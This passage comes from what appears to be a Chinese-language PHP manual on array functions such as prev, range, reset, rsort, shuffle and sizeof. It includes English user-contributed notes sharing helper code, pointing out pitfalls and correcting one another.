$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

参见 current()，end()，prev() 和 reset()。

add a note add a note User Contributed Notes
Sigmar
31-May-2006 06:02
And if you want to know if there are any array elements in array before given key, you can use this function:

function any_array_keys_before($keyname, &$array) {
   if (!is_array($array)) {
       return false;
   }
   if (empty($keyname)) {
       return false;
   }
   $set = false;
   $count = 0;
   foreach ($array as $key => $value) {
       if ($set === false && $key != $keyname) {
           $count ++;
       } else if ($key == $keyname) {
           $set = true;
       }
   }
   return $count > 0 ? true : false;
}
Sigmar
31-May-2006 05:52
If you want to check, if there are some more elements in array after given key, you can use the following function:

function more_array_keys($keyname, &$array) {
   if (!is_array($array)) {
       return false;
   }
   if (empty($keyname)) {
       return false;
   }
   $set = false;
   $count = 0;
   foreach ($array as $key => $value) {
       if ($set === true) {
           $count++;
       }
       if ($key == $keyname) {
           $set = true;
       }
   }
   return $count > 0 ? true : false;
}
tino at infeon dot com
13-May-2006 11:48
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
   var $position;
   var $dataArray;
   var $dataArrayCount;

   function Cycle()
   {
       $this->dataArray = func_get_args();
       $this->dataArrayCount = count($this->dataArray);
   }

   function Display()
   {
       $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
       return $this->dataArray[$this->position];
   }

}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
brentimus
29-Apr-2005 01:10
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
   $A_work=$array;  //$A_work is a copy of $array but with its internal pointer set to the first element.
   $PTR=current($array);
   array_set_pointer($A_work, $PTR);

   if(is_array($A_work))
   {
       if(next($A_work)===false)
           return false;
       else
           return true;
   }
   else
       return false;
}

function array_set_pointer(&$array, $value)
{
   reset($array);
   while($val=current($array))
   {
       if($val==$value)
           break;

       next($array);
   }
}
?>
papipo's gmail account
13-Oct-2004 04:47
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
   if (is_array($array)) {
       if (next($array) === false) {
           return false;
       } else {
           return true;
       }
   } else {
       return false;
   }
}

$array = array('fruit', 'melon');
if (has_next($array)) {
   echo next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
lukasz at karapuda dot com
19-Aug-2004 01:06
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1])) {
       $return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
       $return[] = $keys[sizeof($keys)-1];
   }

   if (isset($keys[$keyIndexes[$key]+1])) {
       $return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
       $return[] = $keys[0];
   }

   return $return;
}
?>
court shrock
21-May-2004 07:36
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
   krsort($arr);
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1]))
       $return[] = $keys[$keyIndexes[$key]-1];
   if (isset($keys[$keyIndexes[$key]+1]))
       $return[] = $keys[$keyIndexes[$key]+1];

   return $return;
}

?>
bm at ANTISPAM dot solidwave dot com
17-Apr-2004 12:49
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach
add a note add a note

后退 | 起点 | 前进
natsort | 上一级 | pos


pos

(PHP 3, PHP 4, PHP 5)

pos -- current() 的别名

说明

本函数是该函数的别名：current()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
next | 上一级 | prev


prev

(PHP 3, PHP 4, PHP 5)

prev -- 将数组的内部指针倒回一位

说明

mixed prev ( array &array )

返回数组内部指针指向的前一个单元的值，或当没有更多单元时返回 FALSE。

警告

如果数组包含空的单元，或者单元的值是 0 则本函数碰到这些单元也返回 FALSE。要正确遍历可能含有空单元或者单元值为 0 的数组，参见 each() 函数。

prev() 和 next() 的行为类似，只除了它将内部指针倒回一位而不是前移一位。

例子 1. prev() 及相关函数用法示例

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

参见 current()，end()，next() 和 reset()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pos | 上一级 | range


range

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

range -- 建立一个包含指定范围单元的数组

说明

array range ( mixed low, mixed high [, number step] )

range() 返回数组中从 low 到 high 的单元，包括它们本身。如果 low > high，则序列将从 high 到 low。

新参数: 可选的 step 参数是 PHP 5.0.0 新加的。

如果给出了 step 的值，它将被作为单元之间的步进值。step 应该为正值。如果未指定，step 则默认为 1。

例子 1. range() 例子

<?php
// array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)
foreach (range(0, 12) as $number) {
    echo $number;
}

// The step parameter was introduced in 5.0.0
// array(0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100)
foreach (range(0, 100, 10) as $number) {
    echo $number;
}

// Use of character sequences introduced in 4.1.0
// array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i');
foreach (range('a', 'i') as $letter) {
    echo $letter;
}
// array('c', 'b', 'a');
foreach (range('c', 'a') as $letter) {
    echo $letter;
}

注: 在版本 4.1.0 之前 range() 函数只产生递增的整数数组。对于字符序列和递减数组的支持是 4.1.0 加入的。字符序列值的长度限定为一。如果输入的长度超过一，则只使用第一个字符。

注意

在 PHP 版本 4.1.0 到 4.3.2 中，range() 将数字字符串看作字符串而不是整数，因此将会被作为字符序列使用。例如，"4242" 会被当作 "4" 来对待。

参见 shuffle()，array_fill() 和 foreach。

add a note add a note User Contributed Notes
subscription101 at hotmail dot com
08-Jan-2006 10:36
A much simpler way of creating a range of even numbers is by starting with an even number:

<?php

   range(2, 10, 2);

?>
emory underscore smith at hotmail
21-Aug-2005 10:53
since its not stated explicitly above, thought id point out that you arent limited to using integers.

however, be careful when doing so, as you might not get the range you expect!

to illustrate:

<?php
$am = range(500,1600,10);
$fm = range(88.1,107.9,.2);
print_r($am);
print_r($fm);
?>

print_r($am) yields the expected result:

Array
(
   [0] => 500
   [1] => 510
   [2] => 520
   ...
   [109] => 1590
   [110] => 1600
)

print_r($fm), however, falls a bit (1%) short:

Array
(
   [0] => 88.1
   [1] => 88.3
   [2] => 88.5
   ...
   [97] => 107.5
   [98] => 107.7
)

so, if you want to use a non-integral step size params for numeric ranges, be sure to account for fp representation accuracy and error accumulation; a step size of something like pi or 1/10 could spell disaster for a large range. if in doubt, use integral steps and divide ... something like <?php range(88.1,108,.2) ?> might work to recover 107.9, but would not be scalable like, say <?php array_map(create_function('$x','return $x/10;'),range(881,1079,2)) ?>.

-emory
derek at php dot net
08-May-2005 09:13
This should emulate range() a little better.
<?php
function range_wroar($low, $high, $step = 1) {
   $arr = array();
   $step = (abs($step)>0)?abs($step):1;
   $sign = ($low<=$high)?1:-1;
   if(is_numeric($low) && is_numeric($high)) {
       //numeric sequence
       for ($i = (float)$low; $i*$sign <= $high*$sign; $i += $step*$sign)
           $arr[] = $i;
   }    else    {
       //character sequence
       if (is_numeric($low))
           return $this->range($low, 0, $step);
       if (is_numeric($high))
           return $this->range(0, $high, $step);
       $low = ord($low);
       $high = ord($high);
       for ($i = $low; $i*$sign <= $high*$sign; $i += $step*$sign) {

           $arr[] = chr($i);
       }
   }
   return $arr;
}
?>
j dot gizmo at aon dot at
23-Sep-2004 07:23
i figured i'd add some more functionality to the myRange() functions below.
now you can, besides giving a $step parameter,
1. count backwards
2. count with letters
3. give whatever parameter you want, there's nothing (i know of) that will cause an endless loop (try a negative $step for the previous function....)

<?php
function myRange($num1, $num2, $step=1)
{
   if (is_numeric($num1) && is_numeric($num2))
   {
       //we have a numeric range
       $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
       $dir = ($num1<=$num2 ? 1 : -1); //get the direction
       for($i = (float)$num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
       {
           $temp[] = $i;
       }
   }
   else
   {
       //we have a character range
       $num1=ord((string)$num1); //convert to ascii value
       $num2=ord((string)$num2);
       $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
       $dir = ($num1<=$num2 ? 1 : -1); //get direction
       for($i = $num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
       {
           $temp[] = chr($i);
       }
   }
   return $temp;
}

print_r(myRange( 1, 3, 0.5 )); //you can use fractional steps
print_r(myRange( "a", "k", 3 )); //or count letters
print_r(myRange( "5", "9" )); //numbers are detected even if hidden in strtings
print_r(myRange( "!", "%", 1/pi() )); //or mess around with senseless parameters

?>
donwilson at gmail dot com
01-Sep-2004 12:38
To speed your MyRange() function, I have created a much nicer function with less code to sift through to include the step parameter.

<?php
   // range() limitation for PHP <5.0.0
   function myRange($num1, $num2, $step=1)
   {
       for($i = $num1; $i <= $num2; $i += $step)
       {
           $temp[] = $i;
       }

       return $temp;
   }
?>

For whatever reason my comment was deleted..?
Forrester at tfcustomized dot com
18-May-2004 10:57
Since users of < PHP 5.0.0 don't have the option of the step parameter, I've created a little function to account for it:

@USAGE: (int low, int high [, int step])

function myRange($low,$high,$step=1)
{
$ranArray = range($low,$high);
$step--;
$keys = count($ranArray);
   for($i=0;$i<$keys;$i++)
   {
   $retArray[] = $ranArray[$i];
   $i = $i + $step;
   }
return $retArray;
}

// Example usage:
print_r(myRange(1,11,2));
// Returns the array:
// [0] => 1
// [1] => 3
// [2] => 5
// [3] => 7
// [4] => 9
// [5] => 11
add a note add a note

后退 | 起点 | 前进
prev | 上一级 | reset


reset

(PHP 3, PHP 4, PHP 5)

reset -- 将数组的内部指针指向第一个单元

说明

mixed reset ( array &array )

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值，如果数组为空则返回 FALSE。

例子 1. reset() 例子

<?php

$array = array('step one', 'step two', 'step three', 'step four');

// by default, the pointer is on the first element
echo current($array) . "<br />\n"; // "step one"

// skip two steps
next($array);
next($array);
echo current($array) . "<br />\n"; // "step three"

// reset pointer, start again on step one
reset($array);
echo current($array) . "<br />\n"; // "step one"

?>

参见 current()，each()，next() 和 prev()。

add a note add a note User Contributed Notes
Colin
06-Jun-2006 11:11
I had a problem with PHP 5.0.5 somehow resetting a sub-array of an array with no apparent reason.  The problem was in doing a foreach() on the parent array PHP was making a copy of the subarrays and in doing so it was resetting the internal pointers of the original array.

The following code demonstrates the resetting of a subarray:

<?
$a = array(
   'a' => array(
       'A', 'B', 'C', 'D',
   ),
   'b' => array(
       'AA', 'BB', 'CC', 'DD',
   ),
);

// Set the pointer of $a to 'b' and the pointer of 'b' to 'CC'
reset($a);
next($a);
next($a['b']);
next($a['b']);
next($a['b']);

var_dump(key($a['b']));
foreach($a as $k => $d)
{
}
var_dump(key($a['b']));
?>

The result of the two var dumps are 3 and 0, respectively.  Clearly the internal pointer of $a['b'] was reset by doing the foreach loop over $a.

Each time the foreach loop iterated over the 'a' and 'b' keys of $a it made a copy of $a['a'] and $a['b'] into $d which resetted the internal pointers of $a['a'] and $a['b'] despite making no obvious changes.

The solution is instead to iterate over the keys of $a.

<?
foreach(array_keys($a) as $k)
{
}
?>

and using $a[$k] (or creating an alias of $a[$k] as $d and dealing with the consequences of using aliases).

For the curious, I was implementing the Iterator interface on a dummy object and calling a global object to do the actual iteration (also to cope with PHP's lack of C-style pointers which when doing a $a = $b on objects would cause the data in $a to be inconsistent with the data in $b when modified).  Being that I had many dummy objects representing different data sets I chose to store each data set as a subarray contained within the global object.  To make this work each dummy object has to store a key (which can freely be duplicated without problems) that it passes to the global object when rewind, key, current, next, and valid were called on the dummy object.

Unfortunately for me, my key required to be more than just a simple string or number (if it was then it could be used to directly index the subarray of data for that object and problem avoided) but was an array of strings.  Instead, I had to iterate over (with a foreach loop) each subarray and compare the key to a variable stored within the subarray.

So by using a foreach loop in this manner and with PHP resetting the pointer of subarrays it ended up causing an infinite loop.

Really, this could be solved by PHP maintaining internal pointers on arrays even after copying.
27-Feb-2006 05:20
I wrote a nice function, which rotates values of array. Very useful for table rows where you have to rotate colors

<?php
function rotate(&$array) {
   $item = current($array);
   if (!next($array)) reset($array);
   return $item;
}
?>
Alexandre Koriakine
19-Nov-2005 06:09
Also it's good to reset this way the multidimentional arrays:

reset($voo2['moder']);
while (list($key, $value) = each ($voo2['moder'])) {

reset($voo2['moder'][$key]);
while (list($key1, $value1) = each ($voo2['moder'][$key])) {
#do what u want
}

}
s_p_a_mcatcher at hotmail dot com
02-Dec-2004 02:30
Be aware that when using reset() to clear an element and key from an array, if auto-incrementing, the new array keys will not reset a key previously set:

$temparray[] = "0";
$temparray[] = "1";
$temparray[] = "2";
unset($temparray[2]);
$temparray[] = "2";
$temparray[] = "3";

print_r($temparray);

The above will return:
Array
(
   [0] => 0
   [1] => 1
   [3] => 2
   [4] => 3
)

When attempting something like this, its better to use array_pop().

hope it helped
leaetherstrip at inbox dot NOSPAMru
17-Oct-2004 09:54
Note that reset() will not affect sub-arrays of multidimensional array.

For example,

<?php
   $arr = array(
       1 => array(2,3,4,5,6),
       2 => array(6,7,8,9,10)
   );

   while(list($i,) = each($arr))
   {
       echo "IN \$arr[$i]<br>";

       while(list($sub_i,$entry) = each($arr[$i]))
       {
           echo "\$arr[$i][$sub_i] = $entry<br>";
       }
   }

   reset($arr);

   // Do the same again
   while(list($i,) = each($arr))
   {
       echo "IN \$arr[$i]<br>";

       while(list($sub_i,$entry) = each($arr[$i]))
       {
           echo "\$arr[$i][$sub_i] = $entry<br>";
       }
   }
?>

will print

IN $arr[1]
$arr[1][0] = 2
$arr[1][1] = 3
$arr[1][2] = 4
$arr[1][3] = 5
$arr[1][4] = 6
IN $arr[2]
$arr[2][0] = 6
$arr[2][1] = 7
$arr[2][2] = 8
$arr[2][3] = 9
$arr[2][4] = 10
IN $arr[1]
IN $arr[2]
kevin at oceania dot net
19-Jul-2003 09:54
Here is a simple example on how to combine 2 arrays. Here we use array_combine() to create list of months and there respective month number. The same result could just as easily be achieved with array('1'=>'January') etc.

<?php

  // make it or break it
  error_reporting(E_ALL);

  // create and array of keys
  $keys = range(1,12);

  // create an array of months
  $months = array(
  'January',
  'February',
  'March',
  'April',
  'May',
  'June',
  'July',
  'August',
  'September',
  'October',
  'November',
  'December'
);

  // combine the arrays
  $combined_array = array_combine($keys, $months);

  // echo out the results
  foreach($combined_array as $k=>$v){ echo $k.' -> '.$v.'<br />'; }

?>
jules
12-Jun-2003 03:29
Be aware that if you give an empty array to reset(), what you'll get back is a boolean. consider...

     $myarray = array();
     $ret = reset($myarray);
     echo 'reset has type '. gettype($ret) .' and val * '. $ret;
     if( $ret )
     {
       echo '*. But it evaluates true';
     }
     else
     {
       echo '*. It evaluates false';
     }
     if( is_null($ret) )
     {
       echo ', and appears null';
     }
     {
       echo ', and appears not null';
     }

     echo '.';

<output>
reset has type boolean and val * *. It evaluates false, and appears not null.
</output>

<bleaugh/>
tac at smokescreen dot org
27-Sep-2001 02:42
Related to resetting an array is resetting a result set back to the beginning, so you can loop through it again.  To do that, use

mysql_data_seek($result, 0)

I use this often when debugging -- do a query, print it out, then loop through it a second time to process.  I'm adding this here under Reset because that's where I originally looked for this functionality.
02-Jul-2001 10:30
A cleaner (better?) way would be to use is_array() instead:

if (is_array($form_array)) {
   [array stuff here]
}
kk at shonline dot de
30-Jul-1998 08:22
When used on a scalar or unset value, reset() spews warning messages. This is often a problem when accessing arrays generated from HTML form input data: these are scalar or unset if the user didn't enter sufficient information.

You can silence these error messages by prefixing an @ (at sign) to reset(), but it is better style to protect your reset() and the following array traversal with an if (isset()). Example code:

if (isset($form_array)) {
  reset($form_array);
  while (list($k, $v) = each($form_array) {
   do_something($k, $v);
  }
}
add a note add a note

后退 | 起点 | 前进
range | 上一级 | rsort


rsort

(PHP 3, PHP 4, PHP 5)

rsort -- 对数组逆向排序

说明

bool rsort ( array &array [, int sort_flags] )

本函数对数组进行逆向排序（最高到最低）。

注: 本函数为 array 中的单元赋予新的键名。这将删除原有的键名而不仅是重新排序。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. rsort() 例子

<?php
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

上例将输出：

0 = orange
1 = lemon
2 = banana
3 = apple

fruits 被按照字母顺序逆向排序。

可以用可选参数 sort_flags 改变排序的行为，详情见 sort()。

参见 arsort()，asort()，ksort()，krsort()，sort() 和 usort()。

add a note add a note User Contributed Notes
Alex M
28-Jun-2005 10:39
A cleaner (I think) way to sort a list of files into reversed order based on their modification date.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/files/";
   $dh = @opendir($path);

   while (false !== ($file=readdir($dh)))
   {
     if (substr($file,0,1)!=".")
         $files[]=array(filemtime($path.$file),$file);  #2-D array
   }
   closedir($dh);

   if ($files)
   {
     rsort($files); #sorts by filemtime

     #done! Show the files sorted by modification date
     foreach ($files as $file)
         echo "$file[0] $file[1]<br>\n";  #file[0]=Unix timestamp; file[1]=filename
   }
?>
pshirkey at boosthardware dot com
14-Jan-2005 05:06
I needed a function that would sort a list of files into reversed order based on their modification date.

Here's what I came up with:

function display_content($dir,$ext){

   $f = array();
   if (is_dir($dir)) {
       if ($dh = opendir($dir)) {
           while (($folder = readdir($dh)) !== false) {
               if (preg_match("/\s*$ext$/", $folder)) {
                   $fullpath = "$dir/$folder";
                   $mtime = filemtime ($fullpath);

                   $ff = array($mtime => $fullpath);
                   $f = array_merge($f, $ff);

           }
               }

           rsort($f, SORT_NUMERIC);

           while (list($key, $val) = each($f)) {
               $fcontents = file($val, "r");
               while (list($key, $val) = each($fcontents))
                   echo "$val\n";
           }

       }
   }

       closedir($dh);
}

Call it like so:

display_content("folder","extension");
ray at non-aol dot com
02-Nov-2004 11:49
Like sort(), rsort() assigns new keys for the elements in array. It will remove any existing keys you may have assigned, rather than just reordering the keys.  This means that it will destroy associative keys.

$animals = array("dog"=>"large",  "cat"=>"medium",  "mouse"=>"small");
print_r($animals);
//Array ( [dog] => large [cat] => medium [mouse] => small )

rsort($animals);
print_r($animals);
//Array ( [0] => small [1] => medium [2] => large )

Use KSORT() or KRSORT() to preserve associative keys.
rnk-php at kleckner dot net
17-Jun-2003 03:37
Apparently rsort does not put arrays with one value back to zero.  If you have an array like: $tmp = array(9 => 'asdf') and then rsort it, $tmp[0] is empty and $tmp[9] stays as is.
slevy1 at pipeline dot com
13-Jun-2001 02:15
I thought rsort was working successfully or on a multi-dimensional array of strings that had first been sorted with usort(). But, I noticed today that the array  was only partially in descending order.  I tried array_reverse on it and that seems to have solved things.
add a note add a note

后退 | 起点 | 前进
reset | 上一级 | shuffle


shuffle

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

shuffle -- 将数组打乱

说明

bool shuffle ( array &array )

本函数打乱（随机排列单元的顺序）一个数组。

注: 本函数为 array 中的单元赋予新的键名。这将删除原有的键名而不仅是重新排序。

例子 1. shuffle() 例子

<?php
$numbers = range(1,20);
srand((float)microtime()*1000000);
shuffle($numbers);
foreach ($numbers as $number) {
    echo "$number ";
}
?>

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

参见 arsort()，asort()，ksort()，rsort()，sort() 和 usort()。

add a note add a note User Contributed Notes
08-Jun-2006 05:53
Posted below is code that you would expect to work

<?php

$keys = shuffle(array_keys($arr));

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>

This in fact does not work because shuffle returns a boolean true or false. More accurate code using this method would be:

<?php

$keys = array_keys($arr);
shuffle($keys);

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>
bsl04 uark edu
07-Jun-2006 04:41
I spoke too soon. Other readers spotted than Benton's code was a little wrong. What a mess this thread is.

This stuff isn't PHP, but I believe it correctly implements Fisher-Yates. random(a, b) returns a number n such that a <= n <= b. The arrays start at 0. Hopefully this is enough to help someone who's trying to implement FY (in whatever language).

i = data_length;
if (i == 0) return;
while (i--)
{
   r = random(0, i);
   tmp = data[i];
   data[i] = data[r];
   data[r] = tmp;
}
alejandro dot garza at itesm dot mx
11-Mar-2006 12:47
This is taken from an O'Reilly Book and modified slightly to return all possible permutations of a 1D array:

<?php

# Modified from http://linuxalpha1.eicn.ch/OReilly_books/ books/webprog/pcook/ch04_26.htm
# Takes a non-associatuve 1D (vector) array of items
#  and returns an array of arrays with each possible permutation
function array_2D_permute($items, $perms = array( )) {
static $permuted_array;
   if (empty($items)) {
       $permuted_array[]=$perms;
       #print_r($new);
     #print join(' ', $perms) . "\n";
   }  else {
       for ($i = count($items) - 1; $i >= 0; --$i) {
             $newitems = $items;
             $newperms = $perms;
             list($foo) = array_splice($newitems, $i, 1);
             array_unshift($newperms, $foo);
             array_2D_permute($newitems, $newperms);
         }
         return $permuted_array;
   }
}

$arr=array("Architecture","Mexico","Periodicals","Test");
$result=array_2D_permute($arr);
print_r($result);
?>
09-Mar-2006 05:09
another way to shuffle an associative array:

$keys = shuffle(array_keys($arr));

foreach ($keys as $key)
{
  $arr_elem = $arr[$key];
  // do what you want with the array element
}
08-Mar-2006 08:20
my throw at associative shuffle:

$keys = array_keys($arr);
$seed = (float)microtime() * 1000000;

srand($seed);
shuffle($keys);

srand($seed);
shuffle($arr);

$arr = array_combine($keys, $arr);
bill at SWScripts dot com
23-Sep-2005 12:45
Just a quick note to let people know that shuffle() will work on multidimensional associative arrays provided that the first key is already numeric.

So this array can be shuffled without losing any of the secondary keys or their values:

$array[0]['color'], $array[0]['size'], $array[0]['fabric']
. . .
$array[50]['color'], $array[50]['size'], $array[50]['fabric']

I recently ran up against needing to randomize this array and tried shuffle even though it's not really for associative arrays.

Hope it helps somebody out there.
Markus of CodeWallah.Com
31-Aug-2005 01:55
Here's a pretty little function to shuffle an associative array, taking a bit different approach from the earlier entries.

<?PHP
function ass_array_shuffle ($array) {
   while (count($array) > 0) {
       $val = array_rand($array);
       $new_arr[$val] = $array[$val];
       unset($array[$val]);
   }
   return $new_arr;
}
?>

In the function above, the original array is randomly scavenged upon until nothing is left of it. This removes the need for any temporary variables, or indeed for any superfluous tossing around of stuff.
anders dot carlsson at sfks dot se
05-Jul-2005 05:17
Vladimir's routine to sort an associated array is great, but one may want to add a clause to check that the array is not empty:

if (count($shuffle_me)>0) { code }

This is because array_rand does not like to pick zero entries out of an empty array (at least not in PHP 4.x).
skissane at iips dot mq dot edu dot au
06-Jun-2005 06:11
note that in PHP 5.0.4 (and assumably earlier versions as well), shuffle internally calls rand(), not mt_rand().

This was important because I was trying to use a fixed seed to get repeatable results, by calling mt_srand(). But of course that doesn't work, since shuffle uses rand() not mt_rand(). The solution is either to use srand() for seeding, or to write your own version of shuffle() using mt_rand(). (See examples which others have contributed; or, just have a look at ext/standard/array.c) mt_rand on many platforms gives better results than the builtin library anyway...

N.B. Obviously, the way the shuffle function is implemented may change without notice in future versions, including e.g. changing to use mt_rand instead.
berndt at www dot michael - berndt dot de
08-May-2005 03:18
randomize an assoziativ array with shuffle ()
http://www.michael-berndt.de/ie/tux/zufall_array_assoziativ.htm
berndt at michael - berndt dot de
17-Apr-2005 09:59
create secure passwords with shuffle()
http://www.michael-berndt.de/ie/tux/secure_password.htm
monte at ohrt dot com
22-Mar-2005 06:10
This is an attempt to get the Fisher Yates shuffle right, and as optimized as possible. The array items are stepped through from last to first, each being swapped with another between itself and the beginning of the array (N-1 shuffles required.) Using list() to swap array vars instead of a tmp var proved to be slightly slower. Testing for $i = $j decreases performance as the array size increases, so it was left out (elements are always swapped.)

function fisherYatesShuffle(&$items)
{
   for ($i = count($items) - 1; $i > 0; $i--)
   {
     $j = @mt_rand(0, $i);
     $tmp = $items[$i];
     $items[$i] = $items[$j];
     $items[$j] = $tmp;
   }
}
Vladimir Kornea of typetango.com
26-Oct-2004 05:06
shuffle() does not maintain key associations. This is how to shuffle an associative array without losing key associations:

<?php
function shuffle_me($shuffle_me) {
   $randomized_keys = array_rand($shuffle_me, count($shuffle_me));
   foreach($randomized_keys as $current_key) {
       $shuffled_me[$current_key] = $shuffle_me[$current_key];
   }
   return $shuffled_me;
}
?>

This is simpler than the other methods described here and it actually works.
al at giicorp dot com
21-Oct-2004 08:33
When shuffling large sets this got a faster response, since $array is always the same size, those extra millisecs counts.

function fisherYatesShuffle(&$array)
{
   $total = count($array);// <--
   for ($i = 0; $i<$total; $i++)
   {
         $j = @mt_rand(0, $i);
         $temp = $array[$i];
         $array[$i] = $array[$j];
         $array[$j] = $temp;
   }
}
Bjorn AT smokingmedia DOT com
23-Sep-2004 08:02
To shuffle an associated array and remain the association between keys and values, use this function:

<?php

$test_array = array("first" => 1,"second" => 2,"third" => 3,"fourth" => 4);

function shuffle_assoc($input_array){

   foreach($input_array as $key => $value){
     $temp_array[$value][key] = $key;
     }

   shuffle($input_array);

   foreach($input_array as $key => $value){
     $return_array[$temp_array[$value][key]] = $value;
     }

   return $return_array;
   }

echo "<pre>";
print_r(shuffle_assoc($test_array));
echo "</pre><hr />";

// this will output something like this:
/*
Array
(
   [fourth] => 4
   [second] => 2
   [third] => 3
   [first] => 1
)

*/
?>
bryan at mcnett dot org
20-Apr-2004 06:35
The technique described in the following article enables visiting each in a range of integers exactly once, but in perceptually random order. A reprint of this article appears in Graphics Gems:

http://www.mactech.com/articles/mactech/Vol.06/06.12/SafeDissolve/

It's possible to cheaply permute the order of integers so produced with XOR et al. This may enable random shuffling of arrays with less guarantee of true randomness, but more guarantee that the output looks different from the input, which is probably what you want.

The above technique belongs to the family of LFR (Linear Feedback Registers), which have a long history of providing "enough randomness" at very low cost.
Justin Knoll
16-Apr-2004 08:24
This code is very appealing in its simplicity and speed, but it's not a random shuffle:

<?php
function randomcmp($a, $b)
{
  return mt_rand(-1, 1);
}

function swapshuffle(&$array)
{
  srand((double) microtime() * 10000000);
  uksort($array, "randomcmp");
}
?>

This is because uksort calls the C function zend_qsort and this quicksorts the array using the provided comparision function. The pairs of indices selected are biased by the nature of the quicksort algorithm.

One effect is that an element in the middle of the array is heavily biased toward being "shuffled" to the middle. Elements on the edges are biased towards the edges; they're likely to switch edges, but unlikely to end up in the middle.
injunjoel
12-Mar-2004 11:27
Be aware that when shuffling an associative array your associative keys will be lost! example below:
<?php
echo "before shuffle\n";
$numbers = array('first'=>1,'second'=>2,'third'=>3,'fourth'=>4);
foreach($numbers as $key=>$value){
   echo "$key => $value\n";
}
echo "\nafter shuffle\n";
srand((float)microtime() * 1000000);
shuffle($numbers);

foreach($numbers as $key=>$value){
   echo "$key => $value\n";
}

?>
--output--
before shuffle
first => 1
second => 2
third => 3
fourth => 4

after shuffle
0 => 4
1 => 1
2 => 3
3 => 2
add a note add a note

后退 | 起点 | 前进
rsort | 上一级 | sizeof


sizeof

(PHP 3, PHP 4, PHP 5)

sizeof -- count() 的别名

说明

本函数是该函数的别名：count()。

add a note add a note User Contributed Notes
Moslehi[atsign]Gmail[dot]com
18-Mar-2006 07:12
A simple example for numeric values :

<?PHP

function array_average($arr){
$sum = array_sum($arr);
$num = sizeof($arr);
echo $sum/$num;
}

$myarray = array(1,2,3,4);
array_average($myarray); // displays 2.5 as average of 1,2,3,4

?>

[Arash Moslehi]
blasterncs at hotmail dot com
13-Feb-2006 03:41
In some cases you can use this.

<FORM ACTION="receiver.php" METHOD=POST>
   <INPUT TYPE=CHECKBOX NAME="arreglo[]" value="1">Thing #1
   <INPUT TYPE=CHECKBOX NAME="arreglo[]" value="2">Thing #2
   <INPUT TYPE=CHECKBOX NAME="arreglo[]" value="3">Thing #1
   <INPUT TYPE=CHECKBOX NAME="arreglo[]" value="4">Thing #4
   <INPUT TYPE=SUBMIT>
</FORM>

In the case you mark two (1 & 3) you will have that result:

sizeof($_POST[arreglo]) -> 2

the different is that you can use:
for($i=0; $i<sizeof($_POST[arreglo]); $i++)

Because the array is like that:
$_POST[arreglo]=array( '0'=> '1', '1' => '3');

Another thing.
If you have an array with null values, use this:
count(array_keys($array));
pfortin at ss2i dot ca
07-Jul-2004 11:25
Well, I'm not very sure about the above and it seems a bit overkill if you want my opinion. I prefer to use foreach() or the array_keys function if you only need the selected indexes ... Example :

